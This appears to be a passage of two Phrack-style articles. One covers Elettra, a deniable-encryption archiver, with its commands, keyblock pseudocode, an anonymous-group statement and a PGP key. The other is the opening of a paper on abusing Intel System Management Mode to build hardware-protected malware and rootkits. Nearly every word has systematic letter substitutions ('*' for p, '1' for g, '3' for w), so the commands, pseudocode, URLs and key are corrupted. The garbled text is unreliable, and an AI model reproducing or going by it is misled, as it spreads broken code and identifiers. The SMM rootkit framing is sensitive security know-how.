- FcFW4c [11E It takes t3o in*ut files and 1enerates an out*ut.
4e*endin1 on the *ass3ord used it decr"*ts one file or the other.
#he 1oal of denia(le cr"*to1ra*h" is to den" the existence itself of a
*iece of information. @te1ano1ra*h" has the same 1oal Cste1anal"sis is
effecti0e onl" after the existence of hidden data has (een *ro0enD, (ut it
is more am(itious in hidin1 the data to the ad0ersar" (ecause it carefull"
chooses a container that *re0ents an anal"st to realiBe that the container
co0ers hidden information. In case of an encr"*ted file, the attacker
alread" kno3s it could contain 0alua(le information[ the aim no3 (ecomes to
den" the existence of the data inside the ex*osed containerE in such a
situation, denia(le cr"*to1ra*h" has hi1her si1nal-to-co0erdata ratio
com*ared to ste1ano1ra*h".
------[ H. /lettra
/lettra can 1enerate archi0es of multi*le files 3here a different file is
extracted de*endin1 on the *ass3ord *ro0ided.
#his (ecause the *ass3ord used for encr"*tion is not onl" an >information
re:uired for decr"*t> one file in the archi0e, is also the >information
re:uired to find> a file in the archi0e.
/0er" file is encr"*ted 3ith its o3n *ass3ord. /0er" *ass3ord unlocks
a sin1le file. @ince elettra can add random *addin1 to an archi0e, it8s
im*ossi(le to determine ho3 man" files are contained in it.
Plausi(le denia(ilit" consists in allo3in1 the user to den" existence of
other files exce*t the onl" file he re0ealed the *ass3ord to.
/lettra (ases its securit" on mathematical *rinci*les deri0ed from
re0erse-en1ineerin1 on the +IP) and its *ossi(le inter*retations.
/lettra is a command line *ro1ram de0elo*ed for P=@IG s"stems Ctested under
%inux, c"13in and Aac=@GD. ) 6<I 3ra**er de0elo*ed in 3x'id1ets has (een
de0elo*ed and (oth soft3are, 3ith related 1*1 si1nature, are a0aila(le atE
htt*sEWW333.3instonsmith.infoW9uliaWelettra
4es*ite the fact that the 6<I 3as coded in a tenth of the time s*ent for
/lettra, it hel*s a dramaticall" 3ider ran1e of users to understand and use
the *ro1ram. <sa(ilit" and easiness of distri(ution of a soft3are ha0e
rarel" (een a 1oal for hackers, (ut this time 3e 3ant to hi1hli1ht and
s*read a 3a" of actionWreaction made *ossi(le (" o*en source technolo1ies
and a net3ork a(le to :uickl" communicate a content. #he 6<I is a necessar"
com*romise (et3een features and usa(ilit" ED
&o3 to use /lettraE
userQlinBEZWelettraWsrcW(uildN .Welettra
.Welettra (" 9uliaQ3instonsmith.info, htt*EWW333.3instonsmith.infoW9ulia
7ou should im*ro0e the :ualit" of life, usin1 *ri0ac" enhancin1 technolo1"P
.Welettra encr"*t out*utfile [siBe increment^ *lainfile[EE*ass3ord
.Welettra decr"*t ci*herfile [*ass3ord [out*ut director"
.Welettra check*ass *ass3ordCsD
.Welettra exam*le Csho3 exam*les of useD
- *ass3ords, if not a0aila(le, is ask 3ith echo off
/lettra in encr"*t mode
userQlinBEWtm*N .Welettra encr"*t out*ut 10^ file1EE*ass3d1 file1EE*ass3dF
userQlinBEWtm*N ls -l file1 fileF out*ut
-r3-r--r-- 1 user user J1HF Ian 1. 1KEH. file1
-r3-r--r-- 1 user user H-FKJ Ian 1. 1KEH. fileF
-r3-r--r-- 1 user user FL0FJ Ian 1J 10EH. out*ut
;urther 1eneration of Wtm*Wout*ut file, 3ith the same fileW*ass3ordE
-r3-r--r-- 1 user user H0J44 Ian 1J 10EH- out*ut
-r3-r--r-- 1 user user HF01K Ian 1J 10EH- out*ut
-r3-r--r-- 1 user user FL.HH Ian 1J 10EH- out*ut
=ne 1oal of the al1orithm is that the out*uts differ 1i0en the same in*ut.
In *ractice "ou can kee* the smallest out*ut.
here are some out*uts 3ith a *addin1 of 100^
-r3-r--r-- 1 user user -.1LK Ian 1J 11E4H out*ut
-r3-r--r-- 1 user user .4HH- Ian 1J 11E4H out*ut
-r3-r--r-- 1 user user .J.JL Ian 1J 11E4H out*ut
-r3-r--r-- 1 user user -4LHK Ian 1J 11E4H out*ut
-r3-r--r-- 1 user user -JFK4 Ian 1J 11E4H out*ut
-r3-r--r-- 1 user user FLF1L Ian 1J 11E4H out*ut
-r3-r--r-- 1 user user 4KL4- Ian 1J 11E4H out*ut
-r3-r--r-- 1 user user HJF-0 Ian 1J 11E4H out*ut
and some 3ith 1000^E
-r3-r--r-- 1 user user F4JH.1 Ian 1J 11E4H out*ut
-r3-r--r-- 1 user user 10L0JL Ian 1J 11E4H out*ut
-r3-r--r-- 1 user user H0H1KK Ian 1J 11E4H out*ut
-r3-r--r-- 1 user user H01F-1 Ian 1J 11E44 out*ut
-r3-r--r-- 1 user user FL041L Ian 1J 11E44 out*ut
-r3-r--r-- 1 user user FKKJF0 Ian 1J 11E4K out*ut
-r3-r--r-- 1 user user 114HJ- Ian 1J 11E4K out*ut
-r3-r--r-- 1 user user 1-L1JH Ian 1J 11E4K out*ut
-r3-r--r-- 1 user user 1LJJF0 Ian 1J 11E4K out*ut
-r3-r--r-- 1 user user 114HJ- Ian 1J 11E4K out*ut
-r3-r--r-- 1 user user F--4.F Ian 1J 11E4K out*ut
#he third ar1ument is the filename of the archi0e that is 1oin1 to (e
created.
#he fourth ar1ument Co*tionalD is the amount of random *addin1 that 3ill (e
inserted at the (e1innin1 or a**ended at the end of the com*ressed archi0e.
Paddin1 can 0ar" (et3een 10^ and 1000^.
&o3 encr"*tion 3orks in /lettraE
/lettra has fi0e commandE encr"*t, decr"*t, check*ass, hel* and exam*le.
Is executed 3ithE elettra command [ar1s
'e 3ant to encr"*t file Wtm*Wls-man*a1e and Wtm*W*s-man*a1e.
t3o file = t3o *ass3ord 3e use >3eirdness> and >foxne3ssho3er>, the order
linkE
ls-man*a1e C3eirdnessD
*s-man*a1e Cfoxne3ssho3erD
N .Welettra encr"*t Wde0WshmWout*ut 1.^ Wtm*Wls-man*a1eEE3eirdness \
Wtm*W*s-man*a1eEEfoxne3ssho3er
the siBe of our source file areE
N ls -l Wtm*Wls-man*a1e Wtm*W*s-man*a1e
-r3-r--r-- 1 user user J1HF Ian K 0.E.J Wtm*Wls-man*a1e
-r3-r--r-- 1 user user H-FKJ Ian K 0.E.J Wtm*W*s-man*a1e
#he command line s*ecifies 1.^ of random *addin1. +e:uired ar1s for the
>encr"*t> command, are the out*ut file, the source files and the *ass3ords.
If *ass3ords are not inserted 0ia command line, the" are *rom*ted
interacti0el".
!efore the encr"*tion 1Bi* com*ression is used, the out*ut file isE
N ls -l Wde0WshmWout*ut
-r3-r--r-- 1 user user 4F-1. Ian K 0-E1H Wde0WshmWout*ut
5o3 3e ha0e an encr"*ted archi0e. #he elettra decr"*tion routine takes a
*ass3ord and, o*tionall", a destination director"E
N .Welettra decr"*t Wde0WshmWout*ut 3eirdness Wde0WshmW
N ls -l Wde0WshmW
-r3-r--r-- 1 user user J1HF Ian K 0-EHF ls-man*a1e
-r3-r--r-- 1 user user 4F-1. Ian K 0-E1H out*ut
If "ou 3ant to check "our *ass3ords, use the command >check*ass>E
.Welettra check*ass actresss 3eirdness shoeless
*ass3ordCsD com(inations 3ork ok, 3ith *ass3ord (lock of .1F ("tes, use it.
If check*ass or encr"*t command recei0e a (ad *ass3ord se:uence, notice
to the users.
#his is ho3 an elettra out*ut file looks likeE
++++++++++++++++++++++++++++++,,,,,,,,,,,,,,,,,,,,,,,,$$$$+++++++++++++++
++++++++++++++++++++++,,,,,,,,,,,,,,,,,,,,,,,,$$$$+++++++++++++++++++++++
++++++,,,,,,,,,,,,,,,,,,,,,,,,$$$$+++++++++++++++++++++++++++++++++++++++
W-- end of initial ke"(lock, start of data section --W
++rrrrccccllllddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddddffff;I%/1PPPPP++++++++++++++++++++++rrrrcc
ccllllddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddffff;I%/FPPPPP+++++++++++++++rrrrccccllllddddddddd
ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
ddddddddffff;I%/HPPPPP++++++++++++
, = ,e"
$ = checksum of *ass3ord
+ = random *addin1 C(efore the entr" *ointD
r = random encr"*ted ("tes Cused in )/@ $!$D
c = checksum of ke"
l = len1th of the com*ressed file
d = com*ressed data
f = len1th of filename
;I%/1, ;I%/F, ;I%/H names of decr"*ted file
P = encr"*ted *addin1 to fill the minimum )/@-1FK (lock u* to its end
+andom *addin1 is 1enerated 3ith c"clic @&)F.- functions.
, and $ are in the first se1ment, called >initial ke"(lock>, the other
com*onents are the data in the elettra archi0e.
&ere8s ho3 the file is createdE
encr"*t takes =<#P<# P)44I56 ;I%/[1..5 P)@@'=+4[1..5 ar1uments
tr" for n in [1 .. 5
&)@&*?n =hashCP)@@'=+4?nD
/ach of these hashes is re:uired for o(tainin1 an uni:ue num(er de*endent
from the *ass3ord.
#his uni:ue num(er C3hich is modulo the initial ke"(lock siBeD is named
>entr" *oint> thus o(tainin1 an entr" *oint for each file in the archi0e.
It is called entr" *oint (ecause it identifies the *oint 3here readin1 3ill
start at decr"*tion time
initial ke"(lockE
W----------------- ke"(lock len1thE .1F Y Cx O F.-D ----------------W
Y--------------Y--Y----Y--Y--------Y--Y----------------------Y--Y---Y
| | | | | | | | | |
| +andom | | + | | + | | +andom | | |
| | | | | | | | | |
Y--------------Y--Y----Y--Y--------Y--Y----------------------Y--Y---Y
_ _
| |
entr" *oint --Y |
Y- *ass3ord (lock struct CHF ("teD
#he ke"(lock len1th is not hardcoded (ut its 0alue is choosen in an
ada*ti0e 3a" in such a 3a" as to a0oid *ass3ord struct (lock collisions.
) collision occurs if t3o or more *ass3ord struct (locks o0erla*.
=(0iousl" a collision ma" disru*t the information contained in the initial
ke"(lock and as such it has to (e a0oided.
#he *ass3ord struct (lock is encr"*ted 3ith the P)@@'=+4[1..5, and
contains an unsi1ned int checksum and a FK ("te ,/7[1..5.
#his mean that each *ass3ord com*utation identifies an entr" *oint inside
the initial ke"(lock 3here the ke" resides encr"*ted in FK of the HF ("te
of *ass3ord struct (lock. #he other data in the initial ke"(lock are
random.
#his is the al1orithm sho3n in *seudocodeE
for x in [1..1FE
U
siBe = Crandom?(et3eenC1, 1FD O F.- D Y .1F
siBe = siBe Y C 5 O F.- D
create ke"(lock[siBe
for n in [1..5
add?*ass3ord?hash?to?ke"(lockC&)@&*?nD[
if ke"(lock[siBe has collision
continue[
else
use siBe as 1ood 0alue
V
'hen a ke"(lock siBe is found, continue to the next ste*E creation of
data section.
for n in [1..5E
U
6T-;I%/-%/5?n = 1Bi*C;I%/?nD
V
totalsiBe = ke"(lock siBe
for n in [1..5E
U
AI5-/P?n = totalsiBe[
totalsiBe = totalsiBe Y C6T-;I%/-%/5?n O P)44I546^ D
A)G-/P?n = totalsiBe[
totalsiBe = totalsiBe Y 6T-;I%/-%/5?n
V
In this ste* 3e8ll 1et the total len1th of the /lettra archi0e to (uild
throu1h usin1 t3o arra"s AI5-/P[1..5, A)G-/P[1..5 defined later.
@u**ose to encr"*t t3o elementsE
W----- 6T-;I%/-%/5 1 ------W W----- 6T-;I%/-%/5 F -----W
Y-------Y--------------------------Y-------Y-------------------------Y
| | | | |
| +1 | 6T-;I%/1 | +F | 6T-;I%/F |
| | | | |
Y-------Y--------------------------Y-------Y-------------------------Y
_ _ _ _
| Y--- A)G-/P1 AI5-/PF Y |
Y- AI5-/P1 Y-- A)G-/PF
+1 and +F are t3o *addin1 (locks. #he dimension of these (locks de*ends
on the *addin1 ^ 0alue, the siBe of the com*ressed file and a (it of
random.
#he entr" *oint for identif"in1 ;I%/n *osition A<@# fall (et3een AI5-/P?n
and A)G-/P?n.
#his second entr" *oint is deri0ed from ,/7?n and so the ke"s ,/7[1..5 are
chosen in order to fulfill this re:uirement follo3in1 the al1orithm
re*orted (elo3E
for n in [1..5E
U
for x in [1..10000E
U
,/7?n = randomCD
&)@&k?n = &)@&C,/7?nD
/P?n = &)@&k?n ^ totalsiBe
ifC AI5-/P?n R /P?n R A)G-/P?nD
return ,/7?n[
V
V
W----- 6T-;I%/-%/5 1 -----W W----- 6T-;I%/-%/5 F -----W
Y---Y-------------------------Y----Y---Y-------------------------Y---Y
| | | | | | |
| + | 6T-;I%/1 | + | + | 6T-;I%/F | + |
| 1 | | F | H | | 4 |
Y---Y-------------------------Y----Y---Y-------------------------Y---Y
_ _ _ _
| | | |
Y--/P1 AI5-/PF--Y Y /PF Y !
+1 is the first (lock of random Cfrom AI5-/P1 to /P1D
+F is the *ost file *addin1 Cfrom /P1 Y 6T-;I%/-%/5 to AI5-/PFD
/0er" file is 3ritten (et3een t3o random se:uences of *addin1 (locks.
#he len1th of each *addin1 se:uence is random. /0er" len1th is *lausi(le
(efore and after a 1i0en file, (ecause the attacker doesn8t kno3 the
*addin1 *ercenta1e re:uested at encr"*tion time.
5o3 the al1orithm has retrie0eE
1D #he len1th of inital ke"(lock
FD #he entr" *oints deri0ed from the *ass3ords
HD #he ke"s
4D #he *addin1 sections
.D #he internal structs used for kee*in1 file names, file len1ths and
checksums sa0ed (efore the file data 9ust after /P?n
5o3 it8s sim*l" a matter of o*enin1 a file, 3ritin1 the initial ke"(lock
and the data section and sa0e.
4ecr"*tion se:uence for /lettraE
1D Pass3ord and in*ut file are 1i0en
FD #he *ass3ord is hashed and this 0alue Creferred as &)@&*D is used to
search the initial ke"(lock siBe. #he *ossi(le 0alue are o(tained 3ith
the follo3in1 al1orithm
for x in [1..K0E
tr"?siBe = .1F Y C F.- O x D[
'hen the *ass3ord is a(le to decr"*t the first HF ("tes *ointed ("
&)@&* modulo tr"?siBe and to 0erif" the internal checksum, the initial
ke"(lock siBe is identified.
HD +ead the ke" from the initial ke"(lock, decr"*t it and e0aluate its hash
modulo the file total len1th.
4D 4ecr"*t the first HF ("tes. If the checksum matchs, decr"*t the file
len1th, decom*ress it and rename it 3ith its ori1inal name.
$onclusions a(out al1orithmE
)n anal"st that 3ill ha0e to anal"Be files encr"*ted (" usin1 /lettra 3ill
not (e a(le to make an" assum*tion a *riori, since the al1orithm aims at
(eha0in1 randoml" in order to make an" out*ut *lausi(le. /0er" /lettra
out*ut file should contain one or more file, and is *lausi(le assume that
onl" one file had (een encr"*red, (ecause the *addin1 (efore and after the
decr"*ted file seem *lausi(le random *addin1.
#he securit" of this al1orithm is (ased on the *ro*riet" of encr"*ted data
to a**ear full" random o0er a statistical anal"sis. )n attack 3hich is a(le
to detect the difference (et3een com*ressedYencr"*ted data and random data
could ex*loit /lettra.
)n exam*le of *lausi(le denia(ilit"E
#he anal"st has found a 1.4A( lon1 file, encr"*ted (" usin1 /lettra.
<sin1 the user *ro0ided *ass3ord, he extracts a .*df file FA( lon1.
#hen, the follo3in1 is *lausi(leE
)E the user has ran /lettra 3ith a 40^ *ro*ortional *addin1. #he file siBe
3as FA( and it has (een com*ressed in 1 A(. !efore the (e1innin1 and after
the end of the file a total of 400k ("tes of random *addin1 has (een added.
!ut it is also likel" thatE
!E the user has used a FA( lon1 .*df as co0ert file and a F00k file of
secret data. #he com*ressed siBe of the .*df 3as 1A(, (ut the other file
could not (e com*ressed an"more, so its siBe sta"ed F00k. ;rom 1A(
com*ressed .*df Y F00k of secret file and a 1-^ *ro*ortional *addin1 it has
(een created the 1.4A( resultin1 file.
!oth cases are *lausi(leE either 3a" the anal"st has a *ass3ord that
extracts a .*df file FA( lon1 that com*resses in 1A(. #he anal"st could
then ins*ect 3hich *art of the file is decr"*ted, (ut the *osition of an
encr"*ted file in the archi0e 1i0es no information, since it is *lausi(le
that (oth (efore and after each file in the archi0e there is random data.
/lettra has (een de0elo*ed 3ith these attacks and countermeasures in mindE
1D ;iles are encr"*ted 3ith )/@-1FK, random *addin1 is the out*ut of @&)
functions and it is also mathematicall" im*ossi(le to sa" if data is
encr"*ted or 9ust random noise[
FD It is not *ossi(le to make assum*tions (ased on the final siBe of the
archi0e Ce.1. 0erif"in1 if the *addin1 is a 3hole :uantit" or a
fraction is useless (ecause the *ro*ortional increase of dimension
su**lied (" the user is not used as is, (ut a ne3 0alue is deri0ed from
it[
HD $hecksums used to 0erif" inte1rit" of *ass3ords are im*lemented, and
are checked (efore the decr"*tion of files[
4D In al1orithms that 3ork in $!$ mode, first ("tes are initialiBed 3ith
random data to make cr"*to1ra*h" stron1er[
.D #he *ro(a(ilit" distri(ution of random data is e:ual at the (e1innin1
and at end of the encr"*ted file.
-D Ainimum *ass3ord len1th is - ("tes.
JD 4isclose a *ass3ord or a ke" doesn8t 1i0e to the attacker an"
information useful for attacks.
/lettra counts more or less 1-00 lines of source code. /0er" other coder
could ha0e found other 3a"s to accom*lish the same task, e0en less com*lex
than the one *resented in this article that re:uires to remem(er multi*le
different *ass3ords. In such kind of *ro1ram there is al3a"s room for
im*ro0ements. #he im*ortant thin1 to think a(out is that in a cou*le of
3eeks some(od" could de0elo* somethin1 unforseen and unex*ected (" la3s,
(ut still *erfectl" le1al.
------[ 4. #&/ )5=57A=<@ I4/5#I#7E 9uliaQ3instonsmith.info
#he name Iulia comes from the no0el >1LK4>, as the 3hole 'inston @mith
Pro9ect. Iulia sho3s to 'innie the 3a", the tools and the moti0es for
freedom. #hus, this Iulia - 9ust 3hen the Internet is fi1htin1 for its
freedom - 3ants to (e the one 3ho demonstrates ho3 la3s 3ritten ("
*oliticians are incoherent, inconsistent, unnecessar".
@*readin1 techni:ues aimed to the human ri1hts *rotection on the Internet
ha0e a 1oal that is not related to *ersonal 0isi(ilit". =n the contrar", in
some cases *ersonal safet" can (e endan1ered (" the s*readin1 of the
techni:ue. #hus, other s*readin1 techni:ues ha0e to (e e0aluated.
'e created an anon"mous 1rou* identit" to ha0e a sin1le reference *oint
Ca name, a ke"3ord, an idealD. #his ex*eriment (rin1s us some ad0anta1esE
- Visi(ilit" is o(tained as a collecti0e effort, and can sur0i0e the sin1le
3ork
- $oders minimiBe le1al and *ersonal risks
- !oth indi0idual confrontation and *reser0ation of one8s identit" inside
the 1rou* are diminished
- )t the moment there is no central (lo1 or 3e( site, as centraliBin1 means
(ein1 ex*osed to the risk of (ein1 censored, attacked or to dra3 unneeded
attention
- #he collecti0e identit" identifies itself throu1h a di1ital si1nature,
and media can (e distri(uted usin1 *F*, 3e( sites, (lo1s, usenet.
#he most choices 3e ha0e, the most o*tions 3e can consider.
- 'e are a net3ork made u* of *eo*le around the 3orld 3ith the skills,
the kno3led1e and the a(ilit" to dee*l" understand *ro(lems related 3ith
our countries.
#hose 3ho 3ant to team u* 3ith 9uliaQ3instonsmith.info can 3rite an email
messa1e C3e stron1l" su11est usin1 an anon"mous remailer or #=+ and a thro3
a3a" email addressD.
#he anon"mous identit" 3ill not ha0e a 3e( site to ex*ress itself, /lettra
1ets ser0ed from url htt*EWW333.3instonsmith.infoW9uliaWelettra.
Please note that this is done 9ust for con0enience, and has no relationshi*
3ith the anon"mous identit".
#he onl" 3a" to 0erif" the authenticit" of the source is the di1ital
si1nature of media usin1 the follo3in1 ke"E
-----!/6I5 P6P P<!%I$ ,/7 !%=$,-----
VersionE 6nuP6 01.4.J C4ar3inD
mX6i!/d:I%0+!)$hc9I1G@$7-u!9KttKFFtHX)Ir(<1I%1fYfknclP&PX:9"0Y4I
&JLH'aPF#lI0mP5I:,F4K*"h=1lKAABTIB5:YK-B(lo1%kl7<o-K%(Bn<PI75l0f
.Id1-4o5&=JI"Gx<1a,:1.s%4LFiB+G.1-IxJV144#PW1I!Y0T9tc"k!T3$1m:$1
7T0W,,Vto@"GWX+07dIk.ec/)IPurI/mKF3shmaJ+xu=%.<4!h++4'<!:u7a.%H.
r#es3@TW.A;)G46HV'5(FK+TAc4,rdFGI(P)W5IKuV5P/mtmdr;4()JI677Pm3uB
@s%HA507c4dhKslr:5!u!;5s&L.xm4;X,'cYrPP70TV@s%!osIBL=GPII7Vh-1GK
,4@B)WL(o0@-4Ke0Fen.tHG@c<@!d<46$&::1+%*(f#/$@GmF,h)F#tn@XK4l:$%
e,s4iL..xm;-0XH(TI)#*oh@P!BW$d0VPc35IffVx)3G4(4I4dkGk0dF*r'i(!I4
V@Bc5Vf"0+176(r#9:J)ok1fHdW6$XB0oAB6%hsKT70xk+5I4JX0anVsa'/1,6;u
(F..('L1c"!*T6Vud6l0e@k1P6*1(6lhX&d*(n50(F.B('l0a$.*(mT0Poh1!!A+
)1)1!XI&ai$L)hs4!1sI$)c4)1XV)114!!7$)3/$&1/$;4))$1kXKH4--P//6;L@
!1$eIr;k@6@<l=7hGT$5c6mmAr!1h13)n+<%-YV=X0@x(7#n#*4IA163)H("uX%1
!/d:I%0X$-$H#.h*V91$#&<9(huW1:lWh&XV0u-a0.f46)7TmXPc4+7(.;PJ-Y,*
-44%s@4oL.461@#=KX9+5rrBKt=ft$-Y;4kAxh1,0c"'/eamK6x7A"t*X345F5:r
IHtVLXF45043<dJ0&5:!lcI,e'"X6x!Be(el!1)="A(47sI6/TI1+4;Yo1+F9X7'
rc5P*11aItx"lFd)*a&ulB/9A$I45,nI*(i4l%u:6Vaht.5A"*xs+ncl(153KJV7
9rh"I56#4to9mJ/+BI95%<en#1daJKKi0'Ise-Kt.'&hJ!I6A"5iA,A69IF+K1ei
cYAY=W3%.Leh-/60JVHnTB-:!0JfKiHfs51<;17;r!Fn&t/X#'0(-Fo6T6Y=P.;*
t6"5h&H&51Vh!+10e6@/T$6;&T<Fch6"=PA:"nfsfJoKdk5iKY7dd0eInH#l&-of
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%0k=/$GLxL"*LK'6lB=llT)YY7n$@*u64(0HVs%P:m4WrWVdcGrli.csY<!J=K%F
FP1L%Y+=KLY@ie4/,&r,(fkkAH34=IY.Wmfxe95fo+h0W6!I1o'69YhWd$hm0/J=
al$;4I.:KX1X"&A5(AuTxfu(Y#n*I5e&k3iAea;T+cma!t9(J#HIY/Pf0d<txG!X
0;K+B"*%/IK;%VW@<Y*k"n$k*Fo-3n+VsK%ms-xci1'/1asrYFG*L0%54**Ifo-x
re7,e1Pc;)3F1<u!x-cJ=,B/3+;!0=<@6@1AdBt0ek:F9-)xk.'V@hs4cd'Y@I.5
f,,:@$'@X/Ld(ek&<G*!kk(IK.uIF;-X=tA;/I6l3.G#)0I"uamV:G":-@/.)"V%
(XL(f$tiBr$=nHh.4JmJnm-+XYHIfn$V9I:!Le;tP-';Is4,,IhI!!1+)1)I!XI&
ai$L)hsA))oI/P5Y=u9x!!hf1-7)n+I%X##7-IiI64I64fFII;<xere))ILhGs0P
W"=Y&tk6&nf@u3oa+0@Xd3==
=Y0,f
-----/54 P6P P<!%I$ ,/7 !%=$,-----
'hoe0er shares the o(9ecti0es of the Iulia *ro9ect can contact the address
9uliaQ3instonsmith.info Canon"mousl" or notD.
;uture o(9ecti0es are not clear, still.
It 3ould (e interestin1 to *ut to1ether a list of all the 3orld8s la3s and
the technolo1ies 3hich render them useless. @ome3here this acti0it" ma" (e
seen as misdemeanor incitement, that8s 3h" 3e choose an anon"mous identit",
and no fixed media to *u(lish material.
Iulia 3as not (orn (" the 3ill of a sin1le *erson, (ut (ecause 3e felt the
need of other *eo*le to (e a(le to share and 1i0e information and
techolo1ies that can hel* (uild freedom of ex*ression, *ri0ac" ri1hts,
technolo1ical a3areness. Iulia is 9ust a landmark, 3hoe0er shares the same
aims can *ursue them 3ithout it.
5o 0endor and no @tate, ho3e0er much 3e can res*ect it, can rule the
Internet. =*en technolo1ies (elon1 to e0er"(od".
-------[ .. +/;/+/5$/@
[1 htt*EWW333.tor*ro9ect.or1WdocsWtor-hidden-ser0ice.html.en
[F htt*EWWen.3iki*edia.or1W3ikiW;reenet
[H htt*EWW333.andre(acard.comWremail.html
[4 htt*EWW*a9home.or1.ukWcr"*tWsdaWindex.html
[. htt*EWW333.autistici.or1WenW3hoWr*lanWindex.html
htt*EWWde0.autistici.or1Woran1e(ookW
[- htt*EWW333.o*si.1o0.ukWactsWactsF000Wuk*1a?F00000FH?en?K
[J htt*EWW333.cl.cam.ac.ukWZr9a14WPa*ersW9sacLK-limste1.*df
[K htt*EWWen.3iki*edia.or1W3ikiW+u((er-hose?cr"*tanal"sis
[L htt*EWWen.3iki*edia.or1W3ikiW#rue$r"*t
[10 htt*EWWen.3iki*edia.or1W3ikiW=ff-the-+ecord?Aessa1in1
[11 htt*EWWlcamtuf.coredum*.cxWsoftWFcF.t1B
==Phrack Inc.==
Volume 0x0c, Issue 0x41, Phile #0x0J of 0x0f
|=-----------------------------------------------------------------------=|
|=-----------------=[ @"stem Aana1ement Aode &ack =------------------=|
|=-----------------=[ <sin1 @AA for >=ther Pur*oses> =------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ !" !@4aemon =--------------=|
|=---------------=[ R(sdaemon Ono@P)AO risesecurit"?or1S =--------------=|
|=---------------=[ =--------------=|
|=---------------=[ coideloko =--------------=|
|=---------------=[ Rcdlk Ono@P)AO kernelhackin1?comS=--------------=|
|=---------------=[ =--------------=|
|=---------------=[ 40n)nd0n =--------------=|
|=---------------=[ Rd0nand0n Ono@P)AO kernelhackin1.comS=--------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ Aarch FL F00K =--------------------------=|
|=-----------------------------------------------------------------------=|
>Ver" niceP &o3 much2>
- !orat @a1d"ie0
------[ Index
1 - Introduction
1.1 - Pa*er structure
F - @"stem Aana1ement Aode
F.1 - Pentium modes of o*eration
F.F - @AA =0er0ie3
F.F.1 - @A+)A
F.F.F - @AI &andler
F.F.H - @AI #ri11erin1
F.F.4 - 4uflot disco0er" - /x*loit
F.H - 4uflot misses
F.H.1 - P$I $onfi1uration
F.H.F - 'h" and 3hen the s"stem 1enerates a @AI
F.4 - @AA Internals - =ur first ex*eriences
F.4.1 - )nal"sin1 the @AA re1isters
F.4.F - @AA 4etails
H - @AA for e0il *ur*oses
H.1 - $hallen1es
H.1.1 - $ache-ori1inated o0er3rites
H.1.F - @AA %ockin1
H.1.H - Porta(ilit"
H.1.4 - )ddress translation
H.F - $o*"in1 our code in the @AA s*ace
H.F.1 - #estin1
H.F.F - 4escri*tor caches
H.F.H - $ode relocation
4 - @AA Aani*ulation %i(rar"
. - ;uture and other uses
- - )ckno3led1ements
J - +eferences
K - @ources - Im*lementation details
------[ 1 - Introduction
#his article 3ill tr" to ex*lain some details a(out the Intel )rchitecture
[1 and ho3 it can (e mani*ulated (" a malicious user to create a com*lete
hard3are-*rotected mal3are.
)lso, since the main focus of the article are the @"stem Aana1ement Aode
[1 features, 3e 3ill 1o into details of the 4uflot [F stud" and (e"ond,
sho3in1 ho3 to create a sta(le s"stem runnin1 inside the @AA [H.
It8s im*ortant to mention that e0er"thin1 sho3ed here is reall"
*rocessor-(rid1es-de*endent C3e are focusin1 on Intel *rocessors [1D.
@ince inside the @AA a mal3are could mani*ulate the 3hole s"stem memor", it
can (e used to modif" kernel structures and create a *o3erful rootkit.
---[ 1.1 - Pa*er structure
#he idea of this *a*er is to com*lete the studies a(out @AA, ex*lanin1 ho3
to use it for e0il *ur*oses.
;or that, the *a*er ha0e (een structured in t3o im*ortant *ortionsE
$ha*ter F 3ill 1i0e a (asic kno3led1e of the Pentium modes of o*eration
Cneeded to (etter understand the other *ortions of the cha*terD and them
3ill introduce 3hat 3as the 4uflot disco0eries related to that. )fter that
the cha*ter 3ill ex*lain 3hat 4uflot missed, ex*lainin1 3h" the s"stem
(eha0es in the 3a" that *ermits our uses, and introducin1 the @AA internals
and our li(rar" to mani*ulate the @AA.
$ha*ter H 3ill ex*lain ho3 to use the @AA for e0il *ur*oses, ex*lanin1
the challen1es to use the @AA and 1i0in1 *ratical sam*les on the use of our
li(rar".
------[ F - @"stem Aana1ement Aode
;rom the Intel manuals [1E
>#he Intel @"stem Aana1ement Aode C@AAD is t"*icall" used to execute
s*ecific routines for *o3er mana1ement. )fter enterin1 @AA, 0arious *arts
of a s"stem can (e shut do3n or disa(led to minimiBe *o3er consum*tion. @AA
o*erates inde*endentl" of other s"stem soft3are, and can (e used for other
*ur*oses too.>
/0er"time 3e read somethin1 like >and can (e used for other *ur*oses> 3e
start to thinkE 3hat the hell2 'hat kind of other *ur*oses2
It8s interestin1 that e0er" sin1le sam*le in the Internet 9ust *oints to
ener1"-related uses of the @AA, and sa"s nothin1 a(out other *ur*oses.
In F00-, 4uflot and others [F released a *a*er a(out ho3 to use the @AA to
circum0ent o*eratin1 s"stem *rotections. It 3as the first time that a
misuse of the @AA 3as sho3n, and it 1a0e some ideas Clike ho3 to *ut a code
in @AA, ho3 to mani*ulate the s"stem memor" inside @AA and ho3 to force a
s"stem to enter the @AAD, lea0in1 o*en man" :uestions that 3ill (e ans3ered
here Cho3 to create a reall" sta(le code to su(0ert the @AA, ho3 to
mani*ulate the @AA re1isters, difficulties in create a sta(le s"stem
runnin1 inside the @AA and 3h" the s"stem (eha0es in the 3a" he 9ust said
in the *a*erD.
---[ F.1 - Pentium modes of o*eration
/0er"(od" alread" kno3s a(out the modes of o*eration of the P- famil" of
*rocessors.
+eal-mode is a 1--(it addressin1 mode, kee*t for le1ac" *ur*oses and
no3ada"s 9ust used in the (oot *rocess. Protected mode is a HF-(it mode
and *ro0ides the *rotection model used (" the modern o*eration s"stems.
#he Virtual K0K- mode ha0e (een introduced to 1arantee 1reater efficienc"
3hen runnin1 *ro1rams created for older architectures Csuch as K0K- and
K0KKD.
#he @"stem Aana1ement Aode C@AAD is another mode of o*eration that, as
alread" said, is su**osed to (e used to mana1e *o3er functions.
Volume H of the Intel *rocessor manuals [1 alread" ex*lained the
acce*ta(le transitions (et3een those modesE
------------------- @AI Cinterru*tD
|-S|+eal )ddress Aode| -------------------------------------------|
| ------------------- R----------------------------------| |
| | P/=1 _ P/=0 Cre:uires rin10D or |rsm or |
| 0 | reset |reset V
| ------------------- ---------
reset | | Protected Aode | -------S @AI Cinterru*tD ------S | @AA Aode |
| ------------------- R------- rsm instruction R------ ---------
| | VA=1 _ VA=0 | _
| 0 | |rsm |
